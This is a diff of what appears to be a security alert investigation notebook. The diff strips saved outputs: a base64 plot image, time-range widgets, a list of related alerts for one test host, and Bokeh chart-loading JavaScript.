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- "text/plain": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "# Draw the graph using Networkx/Matplotlib\n", "%matplotlib inline\n", @@ -1616,57 +329,14 @@ }, { "cell_type": "code", - "execution_count": 9, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:46.099473Z", "start_time": "2020-05-16T02:14:46.032476Z" } }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "10e235d3472e4c62a981d74dd60612b2", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HTML(value='

Set query time boundaries

')" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "86533826195b4be6a5aecbad90e921d7", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='22:04:15',…" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "e3f0957dc0dd4676a3763b974a400324", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "# set the origin time to the time of our alert\n", "query_times = nbwidgets.QueryTime(units='day', origin_time=security_alert.TimeGenerated, \n", @@ -1676,439 +346,14 @@ }, { "cell_type": "code", - "execution_count": 10, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:50.654284Z", "start_time": "2020-05-16T02:14:48.146513Z" } }, - "outputs": [ - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Found 7 different alert types related to this host ('MSTICALERTSWIN1')\n", - " KillChainFusionIncident, Count of alerts: 5\n", - " SCUBA_PROCESSNAMESIMILARITY, Count of alerts: 2\n", - " SCUBA_RULE_Applocker_Bypass, Count of alerts: 4\n", - " SCUBA_RULE_DigitalCurrencyMiningTool, Count of alerts: 2\n", - " SCUBA_RULE_Lowering_Security_Settings, Count of alerts: 2\n", - " SCUBA_RULE_Telegram_install, Count of alerts: 2\n", - " SuspiciousSystemProcess, Count of alerts: 2\n", - "No alerts for account entity 'MSTICAlertsWin1\\MSTICAdmin'\n", - "No alerts for process entity 'c:\\w!ndows\\system32\\suchost.exe'\n" - ] - }, - { - "data": { - "text/html": [ - "\n", - "
\n", - " \n", - " Loading BokehJS ...\n", - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "\n", - "(function(root) {\n", - " function now() {\n", - " return new Date();\n", - " }\n", - "\n", - " var force = true;\n", - "\n", - " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", - " root._bokeh_onload_callbacks = [];\n", - " root._bokeh_is_loading = undefined;\n", - " }\n", - "\n", - " var JS_MIME_TYPE = 'application/javascript';\n", - " var HTML_MIME_TYPE = 'text/html';\n", - " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", - " var CLASS_NAME = 'output_bokeh rendered_html';\n", - "\n", - " /**\n", - " * Render data to the DOM node\n", - " */\n", - " function render(props, node) {\n", - " var script = document.createElement(\"script\");\n", - " node.appendChild(script);\n", - " }\n", - "\n", - " /**\n", - " * Handle when an output is cleared or removed\n", - " */\n", - " function handleClearOutput(event, handle) {\n", - " var cell = handle.cell;\n", - "\n", - " var id = cell.output_area._bokeh_element_id;\n", - " var server_id = cell.output_area._bokeh_server_id;\n", - " // Clean up Bokeh references\n", - " if (id != null && id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - "\n", - " if (server_id !== undefined) {\n", - " // Clean up Bokeh references\n", - " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", - " cell.notebook.kernel.execute(cmd, {\n", - " iopub: {\n", - " output: function(msg) {\n", - " var id = msg.content.text.trim();\n", - " if (id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - " }\n", - " }\n", - " });\n", - " // Destroy server and session\n", - " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", - " cell.notebook.kernel.execute(cmd);\n", - " }\n", - " }\n", - "\n", - " /**\n", - " * Handle when a new output is added\n", - " */\n", - " function handleAddOutput(event, handle) {\n", - " var output_area = handle.output_area;\n", - " var output = handle.output;\n", - "\n", - " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", - " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", - " return\n", - " }\n", - "\n", - " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", - "\n", - " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", - " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", - " // store reference to embed id on output_area\n", - " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", - " }\n", - " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", - " var bk_div = document.createElement(\"div\");\n", - " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", - " var script_attrs = bk_div.children[0].attributes;\n", - " for (var i = 0; i < script_attrs.length; i++) {\n", - " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", - " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", - " }\n", - " // store reference to server id on output_area\n", - " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", - " }\n", - " }\n", - "\n", - " function register_renderer(events, OutputArea) {\n", - "\n", - " function append_mime(data, metadata, element) {\n", - " // create a DOM node to render to\n", - " var toinsert = this.create_output_subarea(\n", - " metadata,\n", - " CLASS_NAME,\n", - " EXEC_MIME_TYPE\n", - " );\n", - " this.keyboard_manager.register_events(toinsert);\n", - " // Render to node\n", - " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", - " render(props, toinsert[toinsert.length - 1]);\n", - " element.append(toinsert);\n", - " return toinsert\n", - " }\n", - "\n", - " /* Handle when an output is cleared or removed */\n", - " events.on('clear_output.CodeCell', handleClearOutput);\n", - " events.on('delete.Cell', handleClearOutput);\n", - "\n", - " /* Handle when a new output is added */\n", - " events.on('output_added.OutputArea', handleAddOutput);\n", - "\n", - " /**\n", - " * Register the mime type and append_mime function with output_area\n", - " */\n", - " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", - " /* Is output safe? */\n", - " safe: true,\n", - " /* Index of renderer in `output_area.display_order` */\n", - " index: 0\n", - " });\n", - " }\n", - "\n", - " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", - " if (root.Jupyter !== undefined) {\n", - " var events = require('base/js/events');\n", - " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", - "\n", - " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", - " register_renderer(events, OutputArea);\n", - " }\n", - " }\n", - "\n", - " \n", - " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", - " root._bokeh_timeout = Date.now() + 5000;\n", - " root._bokeh_failed_load = false;\n", - " }\n", - "\n", - " var NB_LOAD_WARNING = {'data': {'text/html':\n", - " \"
\\n\"+\n", - " \"

\\n\"+\n", - " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", - " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", - " \"

\\n\"+\n", - " \"
    \\n\"+\n", - " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", - " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", - " \"
\\n\"+\n", - " \"\\n\"+\n", - " \"from bokeh.resources import INLINE\\n\"+\n", - " \"output_notebook(resources=INLINE)\\n\"+\n", - " \"\\n\"+\n", - " \"
\"}};\n", - "\n", - " function display_loaded() {\n", - " var el = document.getElementById(\"1313\");\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS is loading...\";\n", - " }\n", - " if (root.Bokeh !== undefined) {\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", - " }\n", - " } else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(display_loaded, 100)\n", - " }\n", - " }\n", - "\n", - "\n", - " function run_callbacks() {\n", - " try {\n", - " root._bokeh_onload_callbacks.forEach(function(callback) {\n", - " if (callback != null)\n", - " callback();\n", - " });\n", - " } finally {\n", - " delete root._bokeh_onload_callbacks\n", - " }\n", - " console.debug(\"Bokeh: all callbacks have finished\");\n", - " }\n", - "\n", - " function load_libs(css_urls, js_urls, callback) {\n", - " if (css_urls == null) css_urls = [];\n", - " if (js_urls == null) js_urls = [];\n", - "\n", - " root._bokeh_onload_callbacks.push(callback);\n", - " if (root._bokeh_is_loading > 0) {\n", - " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", - " return null;\n", - " }\n", - " if (js_urls == null || js_urls.length === 0) {\n", - " run_callbacks();\n", - " return null;\n", - " }\n", - " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", - " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", - "\n", - " function on_load() {\n", - " root._bokeh_is_loading--;\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", - " run_callbacks()\n", - " }\n", - " }\n", - "\n", - " function on_error() {\n", - " console.error(\"failed to load \" + url);\n", - " }\n", - "\n", - " for (var i = 0; i < css_urls.length; i++) {\n", - " var url = css_urls[i];\n", - " const element = document.createElement(\"link\");\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.rel = \"stylesheet\";\n", - " element.type = \"text/css\";\n", - " element.href = url;\n", - " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", - "\n", - " for (var i = 0; i < js_urls.length; i++) {\n", - " var url = js_urls[i];\n", - " var element = document.createElement('script');\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.async = false;\n", - " element.src = url;\n", - " if (url in hashes) {\n", - " element.crossOrigin = \"anonymous\";\n", - " element.integrity = \"sha384-\" + hashes[url];\n", - " }\n", - " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", - " document.head.appendChild(element);\n", - " }\n", - " };\n", - "\n", - " function inject_raw_css(css) {\n", - " const element = document.createElement(\"style\");\n", - " element.appendChild(document.createTextNode(css));\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " \n", - " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", - " var css_urls = [];\n", - " \n", - "\n", - " var inline_js = [\n", - " function(Bokeh) {\n", - " Bokeh.set_log_level(\"info\");\n", - " },\n", - " function(Bokeh) {\n", - " \n", - " \n", - " }\n", - " ];\n", - "\n", - " function run_inline_js() {\n", - " \n", - " if (root.Bokeh !== undefined || force === true) {\n", - " \n", - " for (var i = 0; i < inline_js.length; i++) {\n", - " inline_js[i].call(root, root.Bokeh);\n", - " }\n", - " if (force === true) {\n", - " display_loaded();\n", - " }} else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(run_inline_js, 100);\n", - " } else if (!root._bokeh_failed_load) {\n", - " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", - " root._bokeh_failed_load = true;\n", - " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"1313\")).parents('.cell').data().cell;\n", - " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", - " }\n", - "\n", - " }\n", - "\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", - " run_inline_js();\n", - " } else {\n", - " load_libs(css_urls, js_urls, function() {\n", - " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", - " run_inline_js();\n", - " });\n", - " }\n", - "}(window));" - ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1313\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1313\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - "\n", - "\n", - "\n", - "\n", - "\n", - "
\n" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "(function(root) {\n", - " function embed_document(root) {\n", - " \n", - " var docs_json = {\"e8dcd452-5299-45d1-a527-8338e9622a39\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1316\"},{\"id\":\"1348\"}]},\"id\":\"1384\",\"type\":\"Column\"},{\"attributes\":{\"below\":[{\"id\":\"1359\"},{\"id\":\"1364\"}],\"center\":[{\"id\":\"1362\"}],\"plot_height\":120,\"plot_width\":900,\"renderers\":[{\"id\":\"1370\"}],\"title\":{\"id\":\"1349\"},\"toolbar\":{\"id\":\"1363\"},\"toolbar_location\":null,\"x_range\":{\"id\":\"1351\"},\"x_scale\":{\"id\":\"1355\"},\"y_range\":{\"id\":\"1353\"},\"y_scale\":{\"id\":\"1357\"}},\"id\":\"1348\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"axis_label\":\"Event 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Application\",\"version\":\"2.1.1\"}};\n", - " var render_items = [{\"docid\":\"e8dcd452-5299-45d1-a527-8338e9622a39\",\"root_ids\":[\"1384\"],\"roots\":{\"1384\":\"9912c7f3-615d-455b-a0f8-d859798d6b3c\"}}];\n", - " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", - "\n", - " }\n", - " if (root.Bokeh !== undefined) {\n", - " embed_document(root);\n", - " } else {\n", - " var attempts = 0;\n", - " var timer = setInterval(function(root) {\n", - " if (root.Bokeh !== undefined) {\n", - " clearInterval(timer);\n", - " embed_document(root);\n", - " } else {\n", - " attempts++;\n", - " if (attempts > 100) {\n", - " clearInterval(timer);\n", - " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", - " }\n", - " }\n", - " }, 10, root)\n", - " }\n", - "})(window);" - ], - "application/vnd.bokehjs_exec.v0+json": "" - }, - "metadata": { - "application/vnd.bokehjs_exec.v0+json": { - "id": "1384" - } - }, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "if not security_alert.primary_host:\n", " md_warn('Related alerts is not yet supported for alerts that are not host-based')\n", @@ -2164,25 +409,14 @@ }, { "cell_type": "code", - "execution_count": 11, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:57.587177Z", "start_time": "2020-05-16T02:14:57.110178Z" } }, - "outputs": [ - { - "data": { - "image/png": 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AatWqA0BiYgIpKakP7GNnZ4/BYLA+tlgsHD9+jJIlS93RztPTk6SkROLibuHrW5NhwwYTFbWR556rjq9vTcLDw3B2dqZRoyZ37cPBwQGj8feJShYLf/j37w/s7Oys7+OPNWW0M5OWlkaJEqUwmUxs2LCOwoWLEBBQl379emNvb0f9+o0AaNOmPXXq1GXr1s1s2bKJTz+dyfLla3BycqJw4SJcvxRLoZKFaTayJVeOXebK0cusnfg9zhVduGl3gxIBpbj1yy1OxkbjXbsEBoMBt9xZ72i/btKPFG/jBfV+rzE93YzFYmHOnDBcXFwAuHHjBk5Ojty4cQMHB4c73te9prZdvXqF6Ohj1pBTs2ZtXF1dOX/+LGXKlGPnzm18+GEfunZ9jZdffs3ar2LFSowaNQSz2XzXMY2NvYbZbAbA0dHhjv3db3rdvY7Ln5nN6bzyyhsEB3cAIDU19Y5AeOJENLly5ebnn/fTtGlza5/x46dQvLgXAHFxcXcda7mbpvmJiIiIPGJ+frVYuHA+JlMqZrOZ4cMHM23apAf2KV++AqdOnSA6+jgA69evZeDAD+7ZtnbtAKKiNuLk5ETVqtX49NOZ+PnVpGrVauzfv489e3bj71/rb9dbs2Ydli+PwGw2Exd3y7qIQtGixbG3t2ft2h+AjICxdu0P+PllLGgRFFSfadMm4udXk2LFihMfH8+3366mXr0GAHTp0p6jR4/QvHkrBg8eTnx8HNeuxQBQt249Yg9e4/iGX9g2ZzOePp4YvAwkuiRil2hHu3adqPp8NWLPxHJ291mK18xY5OO39vnK5Kdy66rkK5uf2+dvAxlhIy3NhJubG+XLV2TevP8BGUGha9cOrF//9xeHSE1NpV+/9zl79gwAO3duIz09nWLFvDhy5BC9e/dk5MixdwQpAKPRSPnyFdm/f6/1erLU1IzzYNSoYXz33Tf/+rj8mZ9fLZYtC+f27YzP4eOPpzFwYD8A1q79gR07trF48Qq2bt3MunU/WfvMm/c/LBYLqamp9OrVg4UL5//t2p5VClMiIiIij1i3bj3In78A7dq1olWrJlgs8P77GV9uw8MXMmzYoLv65MqVm9GjxxMS0p/g4BbMm/c/QkMzAtiwYYMID19obVu3bj3Wr8/4UhwUVJ8zZ05Tvbovzs7OlCzpQ6VKVXBycvrb9Xbv/g729g60aNGYd